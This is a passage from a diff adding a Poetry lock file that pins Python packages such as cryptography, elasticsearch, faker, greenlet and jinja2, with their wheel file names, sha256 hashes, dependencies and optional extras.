+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:948224d76c4b6457349d47c0c98657557f429b4e93057cf5a2f71d603e2fc3a3"},
+ {file = "cryptography-41.0.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:059e348f9a3c1950937e1b5d7ba1f8e968508ab181e75fc32b879452f08356db"},
+ {file = "cryptography-41.0.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:b4ceb5324b998ce2003bc17d519080b4ec8d5b7b70794cbd2836101406a9be31"},
+ {file = "cryptography-41.0.1-cp37-abi3-win32.whl", hash = "sha256:8f4ab7021127a9b4323537300a2acfb450124b2def3756f64dc3a3d2160ee4b5"},
+ {file = "cryptography-41.0.1-cp37-abi3-win_amd64.whl", hash = "sha256:1fee5aacc7367487b4e22484d3c7e547992ed726d14864ee33c0176ae43b0d7c"},
+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:9a6c7a3c87d595608a39980ebaa04d5a37f94024c9f24eb7d10262b92f739ddb"},
+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:5d092fdfedaec4cbbffbf98cddc915ba145313a6fdaab83c6e67f4e6c218e6f3"},
+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1a8e6c2de6fbbcc5e14fd27fb24414507cb3333198ea9ab1258d916f00bc3039"},
+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:cb33ccf15e89f7ed89b235cff9d49e2e62c6c981a6061c9c8bb47ed7951190bc"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5f0ff6e18d13a3de56f609dd1fd11470918f770c6bd5d00d632076c727d35485"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7bfc55a5eae8b86a287747053140ba221afc65eb06207bedf6e019b8934b477c"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:eb8163f5e549a22888c18b0d53d6bb62a20510060a22fd5a995ec8a05268df8a"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8dde71c4169ec5ccc1087bb7521d54251c016f126f922ab2dfe6649170a3b8c5"},
+ {file = "cryptography-41.0.1.tar.gz", hash = "sha256:d34579085401d3f49762d2f7d6634d6b6c2ae1242202e860f4d26b046e3a1006"},
+]
+
+[package.dependencies]
+cffi = ">=1.12"
+
+[package.extras]
+docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"]
+docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"]
+nox = ["nox"]
+pep8test = ["black", "check-sdist", "mypy", "ruff"]
+sdist = ["build"]
+ssh = ["bcrypt (>=3.1.5)"]
+test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"]
+test-randomorder = ["pytest-randomly"]
+
+[[package]]
+name = "cycler"
+version = "0.11.0"
+description = "Composable style cycles"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "cycler-0.11.0-py3-none-any.whl", hash = "sha256:3a27e95f763a428a739d2add979fa7494c912a32c17c4c38c4d5f082cad165a3"},
+ {file = "cycler-0.11.0.tar.gz", hash = "sha256:9c87405839a19696e837b3b818fed3f5f69f16f1eec1a1ad77e043dcea9c772f"},
+]
+
+[[package]]
+name = "debugpy"
+version = "1.6.7"
+description = "An implementation of the Debug Adapter Protocol for Python"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"},
+ {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"},
+ {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"},
+ {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"},
+ {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"},
+ {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"},
+ {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"},
+ {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"},
+ {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"},
+ {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"},
+ {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"},
+ {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"},
+ {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"},
+ {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"},
+ {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"},
+ {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"},
+]
+
+[[package]]
+name = "decorator"
+version = "5.1.1"
+description = "Decorators for Humans"
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "decorator-5.1.1-py3-none-any.whl", hash = "sha256:b8c3f85900b9dc423225913c5aace94729fe1fa9763b38939a95226f02d37186"},
+ {file = "decorator-5.1.1.tar.gz", hash = "sha256:637996211036b6385ef91435e4fae22989472f9d571faba8927ba8253acbc330"},
+]
+
+[[package]]
+name = "elastic-transport"
+version = "8.4.0"
+description = "Transport classes and utilities shared among Python Elastic client libraries"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"},
+ {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"},
+]
+
+[package.dependencies]
+certifi = "*"
+urllib3 = ">=1.26.2,<2"
+
+[package.extras]
+develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"]
+
+[[package]]
+name = "elasticsearch"
+version = "8.8.0"
+description = "Python client for Elasticsearch"
+category = "main"
+optional = false
+python-versions = ">=3.6, <4"
+files = [
+ {file = "elasticsearch-8.8.0-py3-none-any.whl", hash = "sha256:2223ee9daaa3c80c25b28ec3f7c48e66fce6b767a338333d9a81886046a07df6"},
+ {file = "elasticsearch-8.8.0.tar.gz", hash = "sha256:6878313cd598c7c90079fed1d4be72e198da35cba57f4083e6bee91f9c70b0eb"},
+]
+
+[package.dependencies]
+elastic-transport = ">=8,<9"
+
+[package.extras]
+async = ["aiohttp (>=3,<4)"]
+requests = ["requests (>=2.4.0,<3.0.0)"]
+
+[[package]]
+name = "extra-streamlit-components"
+version = "0.1.56"
+description = "An all-in-one place, to find complex or just natively unavailable components on streamlit."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "extra_streamlit_components-0.1.56-py3-none-any.whl", hash = "sha256:a1daed730ae7da50b5daa73095f0509c9be0c286f5902f2987e5b4031904c182"},
+ {file = "extra_streamlit_components-0.1.56.tar.gz", hash = "sha256:d553ce2f7c02bdd57f66c8c7a29eafc0cb75bfd743ab48d615b21acda185534f"},
+]
+
+[package.dependencies]
+streamlit = ">=0.87"
+
+[[package]]
+name = "faker"
+version = "18.10.1"
+description = "Faker is a Python package that generates fake data for you."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Faker-18.10.1-py3-none-any.whl", hash = "sha256:633b278caa3ec239463f9139c74da2607c8da5710e56d5d7d30fc8a7440104c4"},
+ {file = "Faker-18.10.1.tar.gz", hash = "sha256:d9f363720c4a6cf9884c6c3e26e2ce26266ffe5d741a9bc7cb9256779bc62190"},
+]
+
+[package.dependencies]
+python-dateutil = ">=2.4"
+
+[[package]]
+name = "favicon"
+version = "0.7.0"
+description = "Get a website's favicon."
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "favicon-0.7.0-py2.py3-none-any.whl", hash = "sha256:7fec0617c73dcb8521ea788e1d38cdc7226c7cb8e28c81e11625d85fa1534880"},
+ {file = "favicon-0.7.0.tar.gz", hash = "sha256:6d6b5a78de2a0d0084589f687f384b2ecd6a6527093fec564403b1a30605d7a8"},
+]
+
+[package.dependencies]
+beautifulsoup4 = ">=4.7.0"
+requests = ">=2.21.0"
+
+[[package]]
+name = "fonttools"
+version = "4.39.4"
+description = "Tools to manipulate font files"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "fonttools-4.39.4-py3-none-any.whl", hash = "sha256:106caf6167c4597556b31a8d9175a3fdc0356fdcd70ab19973c3b0d4c893c461"},
+ {file = "fonttools-4.39.4.zip", hash = "sha256:dba8d7cdb8e2bac1b3da28c5ed5960de09e59a2fe7e63bb73f5a59e57b0430d2"},
+]
+
+[package.extras]
+all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.0.0)", "xattr", "zopfli (>=0.1.4)"]
+graphite = ["lz4 (>=1.7.4.2)"]
+interpolatable = ["munkres", "scipy"]
+lxml = ["lxml (>=4.0,<5)"]
+pathops = ["skia-pathops (>=0.5.0)"]
+plot = ["matplotlib"]
+repacker = ["uharfbuzz (>=0.23.0)"]
+symfont = ["sympy"]
+type1 = ["xattr"]
+ufo = ["fs (>=2.2.0,<3)"]
+unicode = ["unicodedata2 (>=15.0.0)"]
+woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"]
+
+[[package]]
+name = "gitdb"
+version = "4.0.10"
+description = "Git Object Database"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "gitdb-4.0.10-py3-none-any.whl", hash = "sha256:c286cf298426064079ed96a9e4a9d39e7f3e9bf15ba60701e95f5492f28415c7"},
+ {file = "gitdb-4.0.10.tar.gz", hash = "sha256:6eb990b69df4e15bad899ea868dc46572c3f75339735663b81de79b06f17eb9a"},
+]
+
+[package.dependencies]
+smmap = ">=3.0.1,<6"
+
+[[package]]
+name = "gitpython"
+version = "3.1.31"
+description = "GitPython is a Python library used to interact with Git repositories"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "GitPython-3.1.31-py3-none-any.whl", hash = "sha256:f04893614f6aa713a60cbbe1e6a97403ef633103cdd0ef5eb6efe0deb98dbe8d"},
+ {file = "GitPython-3.1.31.tar.gz", hash = "sha256:8ce3bcf69adfdf7c7d503e78fd3b1c492af782d58893b650adb2ac8912ddd573"},
+]
+
+[package.dependencies]
+gitdb = ">=4.0.1,<5"
+
+[[package]]
+name = "greenlet"
+version = "2.0.2"
+description = "Lightweight in-process concurrent programming"
+category = "main"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*"
+files = [
+ {file = "greenlet-2.0.2-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d"},
+ {file = "greenlet-2.0.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9"},
+ {file = "greenlet-2.0.2-cp27-cp27m-win32.whl", hash = "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74"},
+ {file = "greenlet-2.0.2-cp27-cp27m-win_amd64.whl", hash = "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343"},
+ {file = "greenlet-2.0.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae"},
+ {file = "greenlet-2.0.2-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df"},
+ {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088"},
+ {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb"},
+ {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470"},
+ {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a"},
+ {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91"},
+ {file = "greenlet-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645"},
+ {file = "greenlet-2.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c"},
+ {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca"},
+ {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0"},
+ {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2"},
+ {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19"},
+ {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3"},
+ {file = "greenlet-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5"},
+ {file = "greenlet-2.0.2-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6"},
+ {file = "greenlet-2.0.2-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43"},
+ {file = "greenlet-2.0.2-cp35-cp35m-win32.whl", hash = "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a"},
+ {file = "greenlet-2.0.2-cp35-cp35m-win_amd64.whl", hash = "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394"},
+ {file = "greenlet-2.0.2-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75"},
+ {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf"},
+ {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292"},
+ {file = "greenlet-2.0.2-cp36-cp36m-win32.whl", hash = "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9"},
+ {file = "greenlet-2.0.2-cp36-cp36m-win_amd64.whl", hash = "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f"},
+ {file = "greenlet-2.0.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73"},
+ {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86"},
+ {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33"},
+ {file = "greenlet-2.0.2-cp37-cp37m-win32.whl", hash = "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7"},
+ {file = "greenlet-2.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3"},
+ {file = "greenlet-2.0.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857"},
+ {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a"},
+ {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a"},
+ {file = "greenlet-2.0.2-cp38-cp38-win32.whl", hash = "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249"},
+ {file = "greenlet-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40"},
+ {file = "greenlet-2.0.2-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b"},
+ {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8"},
+ {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9"},
+ {file = "greenlet-2.0.2-cp39-cp39-win32.whl", hash = "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5"},
+ {file = "greenlet-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564"},
+ {file = "greenlet-2.0.2.tar.gz", hash = "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0"},
+]
+
+[package.extras]
+docs = ["Sphinx", "docutils (<0.18)"]
+test = ["objgraph", "psutil"]
+
+[[package]]
+name = "htbuilder"
+version = "0.6.1"
+description = "A purely-functional HTML builder for Python. Think JSX rather than templates."
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "htbuilder-0.6.1.tar.gz", hash = "sha256:b7cafab8f27162a35f7ce15e387239c95d12c3d81fc38f91cad499e88cc0fcd8"},
+]
+
+[package.dependencies]
+more-itertools = "*"
+
+[[package]]
+name = "idna"
+version = "3.4"
+description = "Internationalized Domain Names in Applications (IDNA)"
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"},
+ {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
+]
+
+[[package]]
+name = "importlib-metadata"
+version = "6.6.0"
+description = "Read metadata from Python packages"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "importlib_metadata-6.6.0-py3-none-any.whl", hash = "sha256:43dd286a2cd8995d5eaef7fee2066340423b818ed3fd70adf0bad5f1fac53fed"},
+ {file = "importlib_metadata-6.6.0.tar.gz", hash = "sha256:92501cdf9cc66ebd3e612f1b4f0c0765dfa42f0fa38ffb319b6bd84dd675d705"},
+]
+
+[package.dependencies]
+zipp = ">=0.5"
+
+[package.extras]
+docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
+perf = ["ipython"]
+testing = ["flake8 (<5)", "flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)"]
+
+[[package]]
+name = "jinja2"
+version = "3.1.2"
+description = "A very fast and expressive template engine."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"},
+ {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"},
+]
+
+[package.dependencies]
+MarkupSafe = ">=2.0"
+
+[package.extras]
+i18n = ["Babel (>=2.7)"]
+
+[[package]]
+name = "jsonschema"
+version = "4.17.3"
+description = "An implementation of JSON Schema validation for Python"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "jsonschema-4.17.3-py3-none-any.whl", hash = "sha256:a870ad254da1a8ca84b6a2905cac29d265f805acc57af304784962a2aa6508f6"},
+ {file = "jsonschema-4.17.3.tar.gz", hash = "sha256:0f864437ab8b6076ba6707453ef8f98a6a0d512a80e93f8abdb676f737ecb60d"},
+]
+
+[package.dependencies]
+attrs = ">=17.4.0"
+pyrsistent = ">=0.14.0,<0.17.0 || >0.17.0,<0.17.1 || >0.17.1,<0.17.2 || >0.17.2"
+
+[package.extras]
+format = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3987", "uri-template", "webcolors (>=1.11)"]
+format-nongpl = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3986-validator (>0.1.0)", "uri-template", "webcolors (>=1.11)"]
+
+[[package]]
+name = "kiwisolver"
+version = "1.4.4"
+description = "A fast implementation of the Cassowary constraint solver"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "kiwisolver-1.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2f5e60fabb7343a836360c4f0919b8cd0d6dbf08ad2ca6b9cf90bf0c76a3c4f6"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:10ee06759482c78bdb864f4109886dff7b8a56529bc1609d4f1112b93fe6423c"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c79ebe8f3676a4c6630fd3f777f3cfecf9289666c84e775a67d1d358578dc2e3"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:abbe9fa13da955feb8202e215c4018f4bb57469b1b78c7a4c5c7b93001699938"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:7577c1987baa3adc4b3c62c33bd1118c3ef5c8ddef36f0f2c950ae0b199e100d"},
